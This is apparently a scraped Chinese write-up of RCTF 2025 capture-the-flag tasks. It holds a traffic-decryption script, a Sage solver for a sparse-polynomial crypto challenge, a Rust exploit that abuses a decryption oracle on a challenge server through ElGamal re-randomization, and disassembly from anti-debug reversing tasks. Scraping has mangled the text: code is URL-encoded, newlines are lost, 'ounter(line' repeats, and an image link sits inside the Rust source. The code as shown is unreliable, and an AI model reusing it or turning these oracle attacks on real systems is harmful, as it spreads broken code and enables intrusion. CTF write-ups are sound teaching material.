ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineimport%20base64,%20jsonfrom%20Crypto.Cipher%20import%20AES
aesKey_b64%20=&nbsp;"WzUsMTM5LDI0NSwyMjAsMjMxLDQ2LDIzNCwxNDYsMjQ4LDIxMSwyLDIxMywyLDE2NSw5OCwxMTgsMTAzLDE2MiwzLDE1MCw0LDUzLDE3OSwxOTQsODQsMjA3LDQ1LDI0NSw4OCwxNzksMTkzLDEwMV0="aesIV_b64%20&nbsp;=&nbsp;"WzEyNCwyMzIsMjU0LDE5LDI1MCw0OSw1MCw4MywyMjksMjQ0LDI4LDIyMiw4MywzMywyMDIsNl0="data_b64%20&nbsp;%20=&nbsp;"N2M3N2ZlN2ExYTdhZGMxY2E3MmZhMzY4MzgxMjUxMjQ5ZDZlYjAwNDQwZWJhYmQ2ZDc4MTVkMjE2OTVmMjAwNzRkY2JmYjgwYmExZTVjMjc5ZWY1NzZhNTQxMTU2YTQxZGI0NjQ3MGNlYTIzMDVkOTFlNDcxN2MyMTljNGQwNWJhYjRlMGQ5Zjg1MTA5MDNmZGQyNTM1M2ZjODI5NmY3MjgxYTEyODNkODIzMDQ1Y2NkYTI4MDI3OTc2NTljNzUzNzI0M2U0MmRhMTQ4MGY4ZDg0ZWQ2YTRjMDA1MjUyNWRjYWIwMDk2M2MyODA1MGJmNTEzNjA2NzNhODdiOTNiZDg1NTNkNWU3NDMzMjk3YmRkNTRiOTQyMjJjZDUzMzg3NzIwMmYwNTU0MDNiMjRlODU5NzkwY2Q5MzliYTZjNGVmMDNjMTkzYTU0Zjc3NTUyY2MyYzJhOThlMmI3NDhmZWViZGY0ZDc5YTM5YzBkZGFlZjUyMzVmZjY4YWYxM2Y0NjFiYTkzMTAwMjhhODY3NWEzOGNiNGU3MTc0YmY1Y2QwYzY4YzdiOGE5NjczMGNlMTEyMGJjNWRjNWQ3ZDNiNGY0NTkxMzc1MGRiNzJiZjQ3NzU5YWQwNGRiOWQxYTBlYjlhMzRmOGZlNDZmMDM5OGI1YWI5YWMzMDBiZTlkNmU1MTA4ZTM1ZWQ2YTRiYTA1MTJmNjJkMjM1YTc1YzQyMTc2MGFkOWNlZWU3YWYyYjM4OTk1MjYxZGJkY2E1NDZk=="data_hex%20&nbsp;%20=%20base64.b64decode(data_b64).decode()#%201.%20Base64%20decodekey_list%20=%20json.loads(base64.b64decode(aesKey_b64).decode())iv_list%20&nbsp;=%20json.loads(base64.b64decode(aesIV_b64).decode())
#%202.%20Convert%20to%20byteskey_bytes%20=%20bytes(key_list)iv_bytes%20&nbsp;=%20bytes(iv_list)
#%203.%20data%20hex%20→%20bytescipher_bytes%20=%20bytes.fromhex(data_hex)
#%204.%20AES-CBC%20decryptcipher%20=%20AES.new(key_bytes,%20AES.MODE_CBC,%20iv_bytes)plaintext%20=%20cipher.decrypt(cipher_bytes)
#%205.%20remove%20PKCS7%20paddingpad%20=%20plaintext[-1]plaintext%20=%20plaintext[:-pad]
print(plaintext.decode(errors="ignore"))

第一问结果

解上线请求得第二问结果

第三问这里说命令隐藏在图像中

而且流量包里面频繁请求了logo.png,导出来看一下发现的确有base64在里面

得到第三问答案

第四问

第五问结果

RCTF{they%20always%20say%20Raven%20is%20inauspicious}

五问回答之后就得到flag了。

Crypto suanp01y

加密流程:

  1. 环:,其中

  2. 多项式生成:随机生成两个%2041-稀疏、次数  的多项式

  3. 平移变换:,( 为随机平移量)

  4. 输出内容:

    然后就是AES的CTR模式加密

  • (环内除法)

将%20hint写成代数形式:

记 ,则:

真正短的有理分式是 ,其分子分母满足:

  • 均为%2041-稀疏多项式

对每个  计算:

此时:

当  时,,可通过多项式有理重构从  中恢复 。

有理重构恢复  后,枚举所有平移 ,生成

每次计算  作为%20AES%20密钥,用%20CTR%20模式解密密文,匹配%20RCTF{…}即可

EXP:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linefrom&nbsp;sage.all&nbsp;import&nbsp;*from&nbsp;Crypto.Cipher&nbsp;import&nbsp;AESfrom&nbsp;hashlib&nbsp;import&nbsp;md5
r,%20d%20=&nbsp;16381,&nbsp;41R.<x>%20=%20GF(2)[]S.<X>%20=%20R.quotient(x^r%20-&nbsp;1)M%20=%20x^r%20-&nbsp;1BMAX%20=%20r//3&nbsp;&nbsp;nonce%20=&nbsp;b"suanp01y"
line1,%20line2%20=&nbsp;open("output.txt","r").read().splitlines()Hstr%20=%20line1.split("=",1)[1].strip()%20&nbsp;%20&nbsp;H%20=%20S(Hstr)%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;ct%20=&nbsp;bytes.fromhex(line2.strip())
def&nbsp;wt_R(poly_R):&nbsp;%20&nbsp;&nbsp;return&nbsp;sum(int(c)&nbsp;for&nbsp;c&nbsp;in&nbsp;poly_R.list())
def&nbsp;eea_ratrec(F_R,%20M_R,%20B):&nbsp;%20&nbsp;%20r0,%20r1%20=%20M_R,%20F_R&nbsp;%20&nbsp;%20s0,%20s1%20=%20R(1),%20R(0)&nbsp;%20&nbsp;%20t0,%20t1%20=%20R(0),%20R(1)
&nbsp;%20&nbsp;&nbsp;def&nbsp;try_pair(A,%20B):&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;A&nbsp;and&nbsp;B&nbsp;and&nbsp;A.degree()%20<=%20BMAX&nbsp;and&nbsp;B.degree()%20<=%20BMAX:&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20A,%20B%20=%20A.monic(),%20B.monic()&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;((F_R*B%20-%20A)%20%%20M_R)%20==&nbsp;0:&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;A,%20B&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;None
&nbsp;%20&nbsp;%20cand%20=%20try_pair(r1,%20t1)&nbsp;%20&nbsp;&nbsp;if&nbsp;cand:&nbsp;return&nbsp;cand&nbsp;%20&nbsp;&nbsp;while&nbsp;r1%20!=&nbsp;0:&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20q,%20r2%20=%20r0.quo_rem(r1)&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20r0,%20r1%20=%20r1,%20r2&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20s0,%20s1%20=%20s1,%20s0%20-%20q*s1&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20t0,%20t1%20=%20t1,%20t0%20-%20q*t1
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20cand%20=%20try_pair(r0,%20t0)&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;cand:&nbsp;return&nbsp;cand&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20cand%20=%20try_pair(r1,%20t1)&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;cand:&nbsp;return&nbsp;cand
&nbsp;%20&nbsp;&nbsp;raise&nbsp;RuntimeError("no%20bounded%20solution")
t0_R%20=%20t1_R%20=&nbsp;Nonegood_delta%20=&nbsp;None
for&nbsp;delta&nbsp;in&nbsp;range(r):&nbsp;%20&nbsp;%20H_delta%20=%20S(X^delta)%20*%20H&nbsp;%20&nbsp;%20F_delta%20=%20H_delta.lift()&nbsp;%20&nbsp;&nbsp;try:&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20A,%20B%20=%20eea_ratrec(F_delta,%20M,%20BMAX)&nbsp;%20&nbsp;&nbsp;except&nbsp;RuntimeError:&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;continue&nbsp;%20&nbsp;&nbsp;if&nbsp;wt_R(B)%20==%20d&nbsp;or&nbsp;wt_R(A)%20==%20d:&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20t0_R,%20t1_R%20=%20(B,%20A)&nbsp;if&nbsp;wt_R(B)%20==%20d&nbsp;else&nbsp;(A,%20B)&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20good_delta%20=%20delta&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;print(f"[+]%20找到可重构的%20δ%20=&nbsp;{delta}&nbsp;,wt(t0)={wt_R(t0_R)},%20wt(t1)={wt_R(t1_R)}")&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;break
if&nbsp;t0_R&nbsp;is&nbsp;None:&nbsp;%20&nbsp;&nbsp;raise&nbsp;SystemExit("[-]%20遍历%20δ%20未能重构到%2041-稀疏分母")
def&nbsp;decrypt_try(h0_S):&nbsp;%20&nbsp;%20key%20=%20md5(str(h0_S).encode()).digest()&nbsp;%20&nbsp;&nbsp;return&nbsp;AES.new(key=key,%20nonce=nonce,%20mode=AES.MODE_CTR).decrypt(ct)
t0_S%20=%20S(t0_R)flag%20=&nbsp;Nonefor&nbsp;k&nbsp;in&nbsp;range(r):&nbsp;%20&nbsp;%20h0%20=%20S(X^k)%20*%20t0_S&nbsp;%20&nbsp;%20pt%20=%20decrypt_try(h0)&nbsp;%20&nbsp;&nbsp;if&nbsp;pt.startswith(b"RCTF{")&nbsp;and&nbsp;pt.rstrip().endswith(b"}")&nbsp;and&nbsp;all(32&nbsp;<=%20b%20<=&nbsp;126&nbsp;for&nbsp;b&nbsp;in&nbsp;pt):&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20flag%20=%20pt.decode()&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;print("[+]%20FOUND%20flag:",%20flag)&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;break"""[+]%20找到可重构的%20δ%20=%2012921%20,wt(t0)=41,%20wt(t1)=41[+]%20FOUND%20flag:%20RCTF{i_just_h0pe_ChatGPT_doesnt_inst@ntly_so1ve_thi5_one.}"""
ReParing

题目基于%20BLS12-381%20配对的加密系统,服务端通过%20Rust%20+%20arkworks%20实现

这是一个%20ElGamal%20结构,可以被重随机化,而题目又给了我们一个“解密后%20KDF(key)%20的%20oracle”。

我们选任意 ,定义新的密文:

原来随机数是 :,;

现在变成 :,;

 同样从  调整为 。

对  调用同一个解密函数:

写成  的形式:

代入:

再用 :

于是:

对任意 ,按上面的公式重随机化之后的密文,解密出来的仍然是同一个会话密钥 。

而在交互协议里,只要  跟原来的三分量不同时相等,就会被认为是“新密文”,从而返回 。

得到hex(KDF(S))直接和encrypted_flag异或即可

exp:

文件结构

exp/%20├──%20Cargo.toml%20└──%20src/%20└──%20main.rs

Cargo.toml:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line[package]name%20=&nbsp;"exp"version%20=&nbsp;"0.1.0"edition%20=&nbsp;"2024"
[dependencies]ark-bls12-381%20=&nbsp;"0.5"ark-ec%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20=&nbsp;"0.5"ark-ff%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20=&nbsp;"0.5"ark-serialize%20&nbsp;=&nbsp;"0.5"hex%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;=&nbsp;"0.4"

src/main.rs:

我们沿用题目的序列化规则即可

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineuse%20std::io::{Read,%20Write};use%20std::net::TcpStream;
use%20ark_bls12_381::{Bls12_381,%20Fr,%20G1Affine,%20G1Projective,%20G2Affine,%20G2Projective};use%20ark_ec::{pairing::Pairing,%20CurveGroup,%20PrimeGroup};use%20ark_ff::{PrimeField,%20Field};use%20ark_serialize::{CanonicalDeserialize,%20CanonicalSerialize};
type&nbsp;GT&nbsp;=&nbsp;<Bls12_381%20as%20Pairing>::TargetField;
fn&nbsp;parse_g1_hex(s:%20&str)&nbsp;->%20G1Projective%20{&nbsp;%20&nbsp;&nbsp;let&nbsp;b&nbsp;=&nbsp;hex::decode(s).expect("bad%20hex%20g1");&nbsp;%20&nbsp;&nbsp;let&nbsp;a&nbsp;=&nbsp;G1Affine::deserialize_compressed(&*b).expect("bad%20g1");&nbsp;%20&nbsp;%20G1Projective::from(a)}fn&nbsp;parse_g2_hex(s:%20&str)&nbsp;->%20G2Projective%20{&nbsp;%20&nbsp;&nbsp;let&nbsp;b&nbsp;=&nbsp;hex::decode(s).expect("bad%20hex%20g2");&nbsp;%20&nbsp;&nbsp;let&nbsp;a&nbsp;=&nbsp;G2Affine::deserialize_compressed(&*b).expect("bad%20g2");&nbsp;%20&nbsp;%20G2Projective::from(a)}fn&nbsp;parse_gt_hex(s:%20&str)&nbsp;->%20GT%20{&nbsp;%20&nbsp;&nbsp;let&nbsp;b&nbsp;=&nbsp;hex::decode(s).expect("bad%20hex%20gt");&nbsp;%20&nbsp;%20GT::deserialize_compressed(&*b).expect("bad%20gt")}fn&nbsp;hex_g1(p:%20&G1Projective)&nbsp;->%20String%20{&nbsp;%20&nbsp;%20let%20a:%20G1Affine%20=%20(*p).into_affine();&nbsp;%20&nbsp;%20let&nbsp;mut&nbsp;v&nbsp;=&nbsp;Vec::new();&nbsp;%20&nbsp;%20a.serialize_compressed(&mut%20v).unwrap();&nbsp;%20&nbsp;%20hex::encode(v)}fn&nbsp;hex_g2(p:%20&G2Projective)&nbsp;->%20String%20{&nbsp;%20&nbsp;%20let%20a:%20G2Affine%20=%20(*p).into_affine();&nbsp;%20&nbsp;%20let&nbsp;mut&nbsp;v&nbsp;=&nbsp;Vec::new();&nbsp;%20&nbsp;%20a.serialize_compressed(&mut%20v).unwrap();&nbsp;%20&nbsp;%20hex::encode(v)}fn&nbsp;hex_gt(x:%20>)&nbsp;->%20String%20{&nbsp;%20&nbsp;%20let&nbsp;mut&nbsp;v&nbsp;=&nbsp;Vec::new();&nbsp;%20&nbsp;%20x.serialize_compressed(&mut%20v).unwrap();&nbsp;%20&nbsp;%20hex::encode(v)}
fn&nbsp;xor_in_place(a:%20&mut%20[u8],%20b:%20&[u8])&nbsp;{&nbsp;%20&nbsp;&nbsp;for&nbsp;(x,%20y)%20in%20a.iter_mut().zip(b.iter())%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20*x%20^=%20*y;&nbsp;%20&nbsp;%20}}
fn&nbsp;main()&nbsp;->%20std::io::Result<()>%20{&nbsp;%20&nbsp;&nbsp;//%20连接远端&nbsp;%20&nbsp;&nbsp;let&nbsp;host&nbsp;=&nbsp;std::env::args().nth(1).unwrap_or_else(||&nbsp;"1.14.196.78:42601".to_string());&nbsp;%20&nbsp;%20let&nbsp;mut&nbsp;sock&nbsp;=&nbsp;TcpStream::connect(host)?;
&nbsp;%20&nbsp;&nbsp;//%20读首行%20banner&nbsp;%20&nbsp;%20let&nbsp;mut&nbsp;line&nbsp;=&nbsp;String::new();&nbsp;%20&nbsp;%20let&nbsp;mut&nbsp;buf&nbsp;=&nbsp;[0u8;&nbsp;4096];&nbsp;%20&nbsp;&nbsp;//%20读到换行即可&nbsp;%20&nbsp;%20loop%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;let&nbsp;n&nbsp;=&nbsp;sock.read(&mut%20buf)?;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;n%20==&nbsp;0&nbsp;{&nbsp;break;%20}&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20line.push_str(&String::from_utf8_lossy(&buf[..n]));&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;line.contains('\n')%20{&nbsp;break;%20}&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;&nbsp;let&nbsp;line&nbsp;=&nbsp;line.lines().next().unwrap().trim().to_string();
&nbsp;%20&nbsp;&nbsp;//%20拆分%208%20段:%20id|dst|pk|q|c1|c2|c3|enc_flag&nbsp;%20&nbsp;%20let&nbsp;mut&nbsp;it&nbsp;=&nbsp;line.split('|');&nbsp;%20&nbsp;&nbsp;let&nbsp;_id_hex&nbsp;=&nbsp;it.next().expect("id");![image-20251115112007332](RCTF2025-Writeup/image-20251115112007332.png)&nbsp; &nbsp;&nbsp;let&nbsp;_dst_hex&nbsp;=&nbsp;it.next().expect("dst");&nbsp; &nbsp;&nbsp;let&nbsp;pk_hex&nbsp;=&nbsp;it.next().expect("pk");&nbsp; &nbsp;&nbsp;let&nbsp;q_hex&nbsp;&nbsp;=&nbsp;it.next().expect("q");&nbsp; &nbsp;&nbsp;let&nbsp;c1_hex&nbsp;=&nbsp;it.next().expect("c1");&nbsp; &nbsp;&nbsp;let&nbsp;c2_hex&nbsp;=&nbsp;it.next().expect("c2");&nbsp; &nbsp;&nbsp;let&nbsp;c3_hex&nbsp;=&nbsp;it.next().expect("c3");&nbsp; &nbsp;&nbsp;let&nbsp;enc_hex&nbsp;=&nbsp;it.next().expect("enc");&nbsp; &nbsp;&nbsp;assert!(it.next().is_none(),&nbsp;"more parts than expected");
&nbsp; &nbsp;&nbsp;// 反序列化&nbsp; &nbsp; let pk: GT = parse_gt_hex(pk_hex);&nbsp; &nbsp; let q: &nbsp;G2Projective = parse_g2_hex(q_hex);&nbsp; &nbsp; let c1: GT = parse_gt_hex(c1_hex);&nbsp; &nbsp; let c2: G1Projective = parse_g1_hex(c2_hex);&nbsp; &nbsp; let c3: G2Projective = parse_g2_hex(c3_hex);&nbsp; &nbsp; let&nbsp;mut&nbsp;enc&nbsp;=&nbsp;hex::decode(enc_hex).expect("bad enc hex");

&nbsp; &nbsp; let mut delta_u64: u64 =&nbsp;1;&nbsp; &nbsp;&nbsp;let&nbsp;key_hex&nbsp;=&nbsp;loop {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;delta&nbsp;=&nbsp;Fr::from(delta_u64);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;c1p&nbsp;=&nbsp;c1 * pk.pow(delta.into_bigint());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;c2p&nbsp;=&nbsp;c2 + G1Projective::generator() * delta;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;c3p&nbsp;=&nbsp;c3 + q * delta;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;out&nbsp;=&nbsp;format!(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"{}|{}|{}\n",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hex_gt(&c1p),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hex_g1(&c2p),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hex_g2(&c3p),&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp; sock.write_all(out.as_bytes())?;
&nbsp; &nbsp; &nbsp; &nbsp; let&nbsp;mut&nbsp;resp&nbsp;=&nbsp;String::new();&nbsp; &nbsp; &nbsp; &nbsp; sock.read_to_string(&mut resp)?;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;resp&nbsp;=&nbsp;resp.trim();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp ==&nbsp;"bad"&nbsp;|| resp ==&nbsp;"no"&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; delta_u64 +=&nbsp;1;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp;resp.to_string();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; };
&nbsp; &nbsp;&nbsp;let&nbsp;key&nbsp;=&nbsp;hex::decode(key_hex).expect("bad key hex");&nbsp; &nbsp;&nbsp;let&nbsp;enc_len&nbsp;=&nbsp;enc.len();&nbsp; &nbsp;&nbsp;assert!(key.len() >= enc_len);&nbsp; &nbsp; xor_in_place(&mut enc, &key[..enc_len]);&nbsp; &nbsp; println!("{}", String::from_utf8_lossy(&enc));&nbsp; &nbsp; Ok(())}

在exp目录下运行cargo run –release

ounter(lineounter(lineounter(lineounter(lineounter(lineC:\Users\28421\Desktop\exp>cargo run --release&nbsp; &nbsp;Compiling&nbsp;exp&nbsp;v0.1.0&nbsp;(C:\Users\28421\Desktop\exp)&nbsp; &nbsp; Finished&nbsp;`release`&nbsp;profile [optimized] target(s) in&nbsp;1.65s&nbsp; &nbsp; &nbsp;Running&nbsp;`target\release\exp.exe`RCTF{ElGamal-style_re-randomization_attack_still_break_modern_schemes_7ec932b22988}

Reverse

Chaos

签到题,双击exe得到flag

ounter(lineounter(lineHe said that if&nbsp;all&nbsp;the key modifications involved in anti-debugging are identified, the flag can be retrieved.your flag is RCTF{AntiDbg_KeyM0d_2025_R3v3rs3}程序执行完毕,按下任意键退出...

Chaos2

这个题就是用一个被反调试代码动态改动过的 key 做 RC4 解密,把 main 里那 0x80 个字节解出来,得到真正的 flag

主逻辑在 loc_40151D 这一块:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040151D loc_40151D:.text:0040151D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ebx,&nbsp;22222222h.text:00401522&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, dword_404018.text:00401527&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp-88h], eax.text:0040152D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0.text:0040152F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0.text:00401531&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;offset sub_401130 &nbsp; ; 回调.text:00401536&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call&nbsp;&nbsp; &nbsp;ds:EnumUILanguagesA.text:0040153C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp-194h], eax.text:00401542&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx, dword_40440C &nbsp; ; key 指针放到 [ebp-190h].text:00401548&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp-190h], ecx

sub_401130 是 EnumUILanguagesA 的回调,里面就是反调试 + key 修改。

密文写入栈,地址从 [ebp-84h] 到 [ebp-5],一共 0x80 字节:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040154E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-84h],&nbsp;0Fh.text:00401555&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-83h],&nbsp;1Ah.text:0040155C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-82h],&nbsp;8Ah.text:00401563&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-81h],&nbsp;5Ah ;&nbsp;'Z'.text:0040156A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-80h],&nbsp;22h ;&nbsp;'"'.text:0040156E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-7Fh],&nbsp;0ABh.text:00401572&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-7Eh],&nbsp;1Eh.text:00401576&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-7Dh],&nbsp;63h ;&nbsp;'c'.text:0040157A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-7Ch],&nbsp;19h.text:0040157E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-7Bh],&nbsp;5Ah ;&nbsp;'Z'.text:00401582&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-7Ah],&nbsp;87h.text:00401586&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-79h],&nbsp;0F2h.text:0040158A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-78h],&nbsp;0E6h.text:0040158E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-77h],&nbsp;0E9h.text:00401592&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-76h],&nbsp;0D7h.text:00401596&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-75h],&nbsp;0D1h.text:0040159A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-74h],&nbsp;97h.text:0040159E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 